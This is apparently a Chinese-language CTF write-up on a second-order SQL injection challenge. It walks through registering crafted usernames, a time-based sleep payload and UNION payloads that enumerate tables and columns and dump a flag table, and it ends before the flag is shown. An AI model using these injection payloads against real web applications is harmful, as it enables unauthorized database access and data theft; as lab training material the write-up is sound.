October 2019 Twice SQL Injection

首先查看页面源代码,未发现异常。
梳理一下程序功能逻辑。
- 登录
/?action=login - 注册
/?action=reg - 查看信息
/?action=index - 修改信息
/?action=change - 退出登录
/?action=logout
看看是否有文件包含。经简单验证后认为没有。
题目名称既然提示是二次注入,那就尝试。
经过测试,发现在注册admin和admin'#后,当修改admin'#的info后,admin的info也会被修改。
猜测此处的sql语句为
1 | UPDATE table_name SET info_column='$info' WHERE name_column='$name'; |
尝试通过时间盲注,发现确实在注册用户名为admin'||sleep(5)#的用户后,在登录时产生了延迟。
也就是说可能在登录后查询info操作时也存在sql注入。
1 | SELECT info_column FROM table_name WHERE name_column = '$name' |
再尝试注册admin' union select '1'#
发现union注入是可行的.
注出数据库名为ctftraining。
1 | username='+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema='ctftraining'#&password=1 |
有flag,news,users表。
1 | username='+union+select+group_concat(column_name)+from+information_schema.columns+where+table_name='flag'#&password=1 |
其中flag表含flag列
1 | username='+union+select+group_concat(flag)+from+flag#&password=1 |
内容为
